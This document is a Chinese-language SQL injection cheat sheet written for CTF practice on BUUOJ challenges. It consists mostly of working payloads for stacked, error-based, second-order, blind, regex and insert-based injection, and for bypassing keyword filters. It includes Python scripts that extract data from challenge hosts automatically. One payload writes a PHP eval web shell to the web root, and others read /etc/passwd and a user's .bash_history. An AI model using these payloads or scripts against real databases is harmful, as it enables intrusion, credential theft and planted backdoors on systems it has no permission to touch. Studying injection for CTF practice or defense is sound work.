SQL注入
#思路
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
可以构造成
$sql = "insert into comment
set category = 'a',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
这样再次查询到content时输出结果就是我们想要的信息,因为语句里面换行,#只能注释同行的语句,这里使用/**/可以注释多行语句
# \x00 %00 %23 其中用python脚本传入%00时会被解码为空,因此需要使用parse.unquote(’%00’)保证%00不被解码
空格 /**/
username and password
初步检验
?username=1' and 1=1 &password=1' and 1=1
报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' and password='1' and 1=1'' at line 1
得出注入点在password,因此闭合username,并且注释password后面的语句(%23为#)
?username=1 or 1=1&password=1' or 1=1%23
select|update|delete|drop|insert|where|\过滤处理办法
堆叠注入
查看数据库
1';show database;#
查看表
1';show tables;#
查看列
1';show columns from table;#
将敏感词select转16进制,select * from `1919810931114514`的十六进制为73656c656374202a2066726f6d20603139313938313039333131313435313460,这里的表如果是数字需要加``
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
除了十六进制绕过,还可以通过concat拼接select语句
1';Set @a=concat('s','elect * from `table`');prepare execsql from @a;execute execsql;--+
如果以上方法解决不了问题,试一下进阶版
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
1919810931114514仍然是表名
都不行,可能存在内置的sql语句为sql="select".sql="select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
如果页面不能显示查询语句的结果,可以尝试使用select into outfile "/xxx/xxx"写入马,例如
;set @a;@a=0x53454c45435420273c3f70687020406576616c28245f504f53545b615d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027;prepare sql from @a;execute sql;
其中0x53454c45435420273c3f70687020406576616c28245f504f53545b615d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027==SELECT '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/favicon/shell.php'
关键字被检测到并删除
利用双写绕过,例如select可以写成seselectlect,目的是消去中间的select后前后拼接成新的select
报错注入
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#%09 %0a %0b %0c %0d /**/ /*!*/
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#只有一半flag
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#另一半
二次注入:需要在注册的时候输入非法注入信息,在修改密码处再次输入该非法注入信息时才会报错
12"||(updatexml(1,concat('~',(select(database()))),1))#
12"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#
12"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#
12"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#
12"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#//这一句输出为{XXXXX},需要下面的正则表达式才能正常输出
12"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#
12"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#//min、right被过滤掉,可以用逆序来输出
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#//特殊情况,flag在txt文件里,题目CyberPunk
extractvalue版
1"||extractvalue(1,concat(0x7e,(select(database()))))%23
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#
1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#
1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
布尔盲注
用不同的id测试返回结果,如果返回结果只有两种,则可初步判定为布尔盲注
或者输入?=if(length(database())>1,1,0),结果跟输入1一样的话也是布尔盲注
绕过空格过滤方式:%09 %0a %0b %0c %0d /**/ /*!*/ 括号 TAB
使用括号绕过:if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)
使用脚本如下:
python3
import requests
target = "http://f0122071-136e-4da5-ad56-09f4d05fab6c.node4.buuoj.cn:81/search.php"
def getDataBase(): #获取数据库名
database_name = ""
for i in range(1,1000): #注意是从1开始,substr函数从第一个字符开始截取
low = 32
high = 127
mid = (low+high)//2
while low < high: #二分法
params={
"id":"0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")" #注意select(database())要用()包裹起来
}
r = requests.get(url=target,params=params)
if "Click" in r.text: #为真时说明该字符在ascii表后面一半
low = mid+1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127: #判断结束,退出循环
break
database_name += chr(mid) #将ascii码转换为字符
print("数据库名:" + database_name)
def getTable(): #获取表名
column_name=""
for i in range(1,1000):
low = 32
high = 127
mid = (low+high)//2
while low<high:
params = {
"id": "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target,params=params)
if "Click" in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print("表名为:"+column_name)
def getColumn(): #获取列名
column_name = ""
for i in range(1,250):
low = 32
high = 127
mid = (low+high)//2
while low < high:
params = {
"id": "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target, params=params)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print("列名为:" + column_name)
def getFlag():
flag = ""
for i in range(1,1000):
low = 32
high = 127
mid = (low+high)//2
while low < high:
params = {
"id" : "0^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target, params=params)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
flag += chr(mid)
print("flag:" + flag)
#getDataBase()
#getTable()
#getColumn()
getFlag()
脚本2
import requests
url = "http://13049d63-5e07-496c-9e22-07056b795dbd.node4.buuoj.cn:81/image.php?id=\\0&path="
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
high = 127
low = 32
mid = (low+high) // 2
# print(mid)
while(high>low):
r = requests.get(url + payload.format(i,mid))
print(url + payload.format(i,mid))
if 'JFIF' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(mid)
print(result)
脚本三:
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break
脚本四:
\x00的作用是代替#符号,因为最后的双引号"被\x00注释掉,所以脚本中的SQL语句在PHP中被拼接成select * from table where username="\" and passwd="||passwd/**/regexp/**/"^{}";\x00"
#coding:utf-8
import requests
import time
import string
url = "http://a907bf31-7484-4e55-9b69-e47976305f51.node4.buuoj.cn:81/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits#密码的字典,包括下划线、小写字母、大写字母和数字
payload = ''
for n in range(100):#假设密码有100位
print(n)
for i in str_list:
data = {
'username':'\\',#这边两个\\是因为一个的话就把\后面的单引号给注释了,经过python这一层\\变成\
'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)
}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)
无列名注入
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
information_schema.tables被过滤
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema='xxxx'
select group_concat(table_name) from mysql.innodb_table_stats where database_name='xxxx'
查看具体列数,尽量往大的数查,再折半
1'/**/group/**/by/**/22,'
查数据库
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
得到web1
查表,一定要用查出来的数据库名,用database()查不出来,因为用的是mysql.innodb_table_stats
1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
得到ads,users
查列
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
原理是
普通的sq查询
select * from users
查询表,并把列名替换为1,2,3.4,5,6
select 1,2,3,4,5 ,6union select * from users
单独把第四列提出来,(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
select `4` from (select 1,2,3,4,5,6 union select * from users)a;
若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;
读取文件select load_file("绝对路径")
读取/etc/passwd,该文件存放系统用户与其他用户的信息存放路径
a',content=(select (load_file('/etc/passwd'))),/*
查看用户www的在系统上的操作记录
2',content=(select load_file('/home/www/.bash_history')),/*
文件太大,可通过转成十六进制查看文件
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
插入类注入
在注册时将注入文本注入到数据库中
场景:登录后会回显用户名,在注册时用户名设置为0'+1+'0,登录后显示用户名为1
原因:注册时数据库执行INSERT语句,将用户名设置为0'+1+'0,在数据库中执行的语句如下:
INSERT INTO test(a,b,c) VALUES(1,'0'+1+'0',1)
在数据库里面存入的值a=1,b=1,c=1(上述执行语句中,传参时从后端传入数据库中引号是必不可少的,因此需要用0关闭引号)
根据这点,我们可以使用下面的执行语句来查看数据库的flag表数据记录
INSERT INTO test(a,b,c) VALUES(1,'0'+ASCII(SUBSTR((SELECT * FROM flag) FROM 1 FOR 1))+'0',1)
值得注意的是,查询所有字段时,并非所有的数据库都能查询到(除非数据库里查询的表只有一个字段);
其次,from...for是作为代替逗号的存在,本测试中逗号被过滤,如逗号未被过滤,使用原始的substr(字符串,起始位置,长度);
最后,使用上述插入语句,无论substr截取的长度是多少,都会只截取一个,因此写脚本时,只需要改变其实位置即可
本次测试所用脚本
import re
from time import sleep
import requests
register_url="http://8def4a79-23da-46e7-bce5-83e5379c6f2c.node4.buuoj.cn:81/register.php";
login_url="http://8def4a79-23da-46e7-bce5-83e5379c6f2c.node4.buuoj.cn:81/login.php";
flag="";
for i in range(100):
sleep(0.3);
register_data={"email":"{}@bc.com".format(i),"username":"0'+ascii(substr((select * from flag) from {} for 1 ))+'0".format(i),"password":"1"};
login_data={"email":"{}@bc.com".format(i),"password":"1"};
register_res=requests.post(register_url,data=register_data);
login_res=requests.post(login_url,data=login_data);
re1=re.search(r'<span class="user-name">\s*(\d*)\s*</span>',login_res.text);
print("re1:",re1);
print("re1.group:",re1.group());
re2=re.search(r'\d+',re1.group());
flag+=chr(int(re2.group()));
print("flag:",flag);
零零散散
select group_concat(database())不一定能返回全部数据库,可以利用
select group_concat(schema_name) from information_schema.schemata
正则注入
from urllib import parse
import requests
import time
import string
s=string.ascii_lowercase + string.digits + '_'
url="http://59626918-6a8f-4433-b194-af890a5b15be.node4.buuoj.cn:81/index.php"
flag="you_will_never_know77889"
for i in range(0,100):
for j in s:
data={"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format(flag+j,parse.unquote('%00'))}#%00直接传入会被解析为空,使用parse.unquote取消对%00的解析
r=requests.post(url=url,data=data)
print(flag+j)
if "welcome.php" in r.text:
print(flag)
flag+=j
break
elif r.status_code == 429:
time.sleep(1)

浙公网安备 33010602011771号